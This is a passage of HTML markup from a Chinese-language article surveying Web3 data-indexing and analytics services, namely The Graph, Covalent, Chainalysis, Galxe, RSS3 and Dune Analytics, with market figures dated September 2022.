0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>The Graph - 索引之父</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">The Graph 是一个去中心化的链上数据索引协议， 通过借助于 GraphQL API，用户可以通过 subgraph （子图）直接访问获得信息。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">而且 The Graph 是去中心化的，受到很多 DeFi 项目的支持。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">其也提供一些列成型的 subgraph （类似于 Dune Analytics 用户的 query 或者 dashboard），供代码能力一般的用户直接使用。</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="width: 100%;padding: 0px 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.02857142857142857" data-w="700" src="https://wechat2rss.xlab.app/img-proxy/?k=207bc601&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FdvAb9ltku2dEfLpAMCcnzvgEGkCloeODJeib7wpoy4e9XBoPwkEzibwekM7uqliaA4u2rDvkqnSmaOnAGmXiaZx1KQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="width: 100%;background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 3px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;text-align: left;background: rgb(255, 255, 255);border-width: 1px;border-style: dotted;border-color: rgb(51, 51, 51);padding: 4px 7px 3px 13px;" data-mid="" mpa-from-tpl="t"><section style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);">数据查询的流程遵循以下步骤 :</span></strong></span></section><section style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">1．Dapp 通过智能合约上的交易将数据添加到以太坊。</span></section><section style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">2．Graph Node 持续扫描以太坊的新块和它们可能包含的子图数据。</span></section><section style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">3．Graph Node 在这些块中为子图查找以太坊事件，并运行映射处理程序。（映射是一个 WASM 模块，用于创建或更新 Graph Node 存储的数据实体，以响应以太坊事件。）</span></section><section style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">4．去中心化的应用程序使用节点的 GraphQL 端点向 Graph Node 查询从区块链索引的数据。Graph Node 反过来将 GraphQL 查询转换为对其底层数据存储的查询，以便获取该数据，并利用存储的索引功能。</span></section><section style="margin: 8px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">5．Dapp 将这些数据显示在终端用户的前端中。用户通过前端进行交易活动。</span></section></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Ethereum、NEAR、Arbitrum、Optimism、Polygon、Avalanche、Celo、Fantom、Moonbeam、Arweave 等。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>Token：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">市值 7.6 亿，总市值 11 亿（2022 年 9 月 14 日 21:16:53）</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">GRT 鼓励多方参与这个网络，涉及到委托人（Delegator）、索引者（Indexer）、策展人（Curator）、开发者（Developer）等四类。简要而言就是用户提出查询需求，索引者运行 The Graph 节点，委托人向索引者质押 GRT 代币，策展人使用 GRT 来指引哪类子图有查询价值。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>类似项目：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Polkadot 上的 SubQuery ，同样使用 graphQL 语言，其代币经济学也与 The Graph 相类似。<br/></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">SubQuery 系统中有三类角色：消费者、索引这和委托人。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">消费者发布任务，索引这提供数据，委托将空闲的 SQT 代币委托给索引者，激励他们更多的诚实参与工作。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Covalent - 跨链达人</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Covalent 提供了一个数据查询层，让工程师可以快速的以 API 的形式调用数据。一个简单的 API 就可以解决所有 Covalent 支持的链的数据。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Covalent 的数据集比较完备，可以多链多项目的一起查询，不需要很强的 coding 基础。</span></section><section style="margin: 24px 8px 16px;white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Covalent 有两类 endpoints，一类是区块链全体数据类型，如余额、交易、日志类型等；另一类是对某一个协议的 endpoint，如查询 AAVE 的日志。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>亮点：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">跨链查询，不想需要重新建立类似子图的索引，二是通过改变 chain ID 就可以实现，query 的可扩展性大大增强了。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Ethereum、BNB Chain、Avalanche、Ronin、Fantom、Moonbeam、Klayth、HECO、SHIDEN 及主流 Layer2 网络。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>Token:</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">市值 17.5M,总市值 68.9M。（2022 年 9 月 14 日 21:18:41）</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">CQT 持有者可以用来抵押、投票（上新）。</span></section><h4 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>3</strong><strong>.</strong><strong> </strong><strong>其他基础设施服务商</strong></span></h4><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Chainalysis - 链上 FBI</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">被称为“链上 FBI”的 Chainalysis 成立于 2014 年，是一个企业数据解决方案公司，通过链上数据监控和分析，以帮助政府、加密货币交易所、国际执法机构、银行等客户遵守合规要求，评估风险，并识别非法活动。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">它拥有 70 个国家和地区的 750 多个客户，其中有 150 个客户能贡献 10 万美元以上的 ARR。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">许多人对 Chainalysis 的印象是“做政府生意”，但是它的私营企业收入从 2019 年开始就占到 40% 以上，已经变成了交易所、稳定币发行商、NFT 交易平台乃至 Crypto-Friendly 银行等客户的合规必备品。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Chainalysis 的 ARR 过去几年保持 YoY 翻番，NDR 一度达到 140%，毛利率超过 80%，符合典型的高增长 SaaS 公司特征。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">它已经不满足于停留在合规和风控场景，在 2021 年推出多款 BI 类型数据产品，试图进入客户日常经营的业务环节中。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>融资：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">2022 年 5 月，Chainalysis 宣布完成了 GIC 领投的 1.7 亿美元 F 轮融资，估值达到 86 亿美元。Chainalysis 自成立以来完成了 10 轮融资，共筹集了超过 5.36 亿美元的资金。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Galxe （原 Project Galaxy） - 凭证数据</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Project Galaxy 旨在构建基础设施，以支持开放和协作的凭证数据网络，帮助 Web3 开发人员利用凭证数据来构建更好的产品和社区。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">作为一个开放的凭证数据网络，它以发放「凭证」的方式为每个地址打上标签，从而实现明确、细分的用户画像标识，如“Uniswap 交易员”、“OpenSea 交易员”等等。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Project Galaxy 允许每个开发者使用定制的链上数据创建、分发和游戏化 NFT。</span></section><section style="margin: 24px 8px 16px;white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">开发者可以建立自己的忠诚度计划，个人可以发行和申领由他们在链上的成就支持的 NFT。</span></section><section style="margin: 24px 8px 16px;white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Project Galaxy 通过链上、链下两个维度多个数据源搜集凭证数据，进行网络管理。对于链上凭证，策展人可以提供子图查询或静态快照。</span></section><section style="margin: 24px 8px 16px;white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">在链下，则已与 Snapshot.org、Twitter 和 Github 等数据源集成。通过这些凭证数据，Project Galaxy 构建了一个基于 Web3 DID（Decentralized ID 去中心化身份）系统 ， Galaxy ID 它标识了用户在 Project Galaxy 中的身份， 且可以展示与地址相关的用户足迹和行为。</span></section><section style="margin: 24px 8px 16px;white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">截至 2022 年 5 月，已有 100 多个合作伙伴在 Project Galaxy 上发起了 500 多个活动，覆盖了 300 万的地址数。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>Token：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">市值：$89,546,214，总市值 $505,849,968（2022 年 9 月 15 日 22:49:31）开发人员需要使用应用程序模块以及 Galaxy 凭证数据时，以 GAL 作为费用进行支付。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">大部分费用将归策展人所有，其余部分费用则会收取到社区金库中。开发人员需要通过 Galaxy Oracle Engine 和 Galaxy Credential API 查询我们的凭证数据时，也需要用 GAL 付费。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Ethereum、Polygon、Fantom、Solana、BNB Chain、Arbitrum 和 Avalanche 等七条公链。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><strong>RSS3 - 社交内容数据</strong></span></em></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">RSS3 是衍生于 RSS 协议的下一代数据索引和分发协议，它允许用户基于地址生成 RSS3 文件，并将自己的 Twitter、Mirror、即刻等社交平台关联进该文件，文件会实时同步用户的资产、内容和行为数据（交易、点赞和转发等），同时将这些信息储存在 RSS3 的去中心化网络中。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">开发者可以在用户允许的情况下，通过不同的 API 接口调取用户在不同平台上发布的内容，并根据应用特性筛选展示不同的信息。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>Token：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">市值 $45,903,243，总市值 $135,252,773（2022 年 9 月 15 日 22:50:58）</span></section><h4 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>4</strong><strong>.</strong><strong> </strong><strong>数据分析工具</strong></span></h4><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Dune Analytics</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Dune Analytics 既是一个索引服务商也是一个数据分析平台柜台，它先把区块链上的数据（主要是以太坊）进行解析，然后填充到数据库中，变成一个 PostgreSQQL（V1） 的数据库。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">用户无需写脚本，只要会使用简单的 SQL 语句就可以进行查询。Dune 起了一层将数据进行解析和格式化的作用，还提供了可视化工具。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">以太坊是键值数据库，Dune 把它变成一个关系型数据库，SQL 语句就是关系型数据库的接口。</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 0px 20px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 9px;height: 9px;margin-left: -6px;margin-bottom: -6px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" style="display: block;" data-w="18" src="https://wechat2rss.xlab.app/img-proxy/?k=3aa78acb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F4PRWJO8VX6DwfPPwDiaeabofdCK3hQZpW6zibmkuGtDibd6vQPyibyF2Zsrgk3WXJTLIcu41QottLiaYQw3f9UlVlkw%2F640%3Fwx_fmt%3Dpng"/></section><section style="width: 9px;height: 9px;transform: rotatey(-180deg);margin-right: -6px;margin-bottom: -6px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" style="display: block;" data-w="18" src="https://wechat2rss.xlab.app/img-proxy/?k=ecdcc4d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FBMNr1wLwd8P7M8FJdyJGvbFRfCGbmzxHAA1c7GpHO0wkChOdlJqs6KprjZzZlebcSIzYGQva46DSYQlP7kT0ZQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section data-mid="" mpa-from-tpl="t" style="width: 100%;padding: 10px 12px;background: 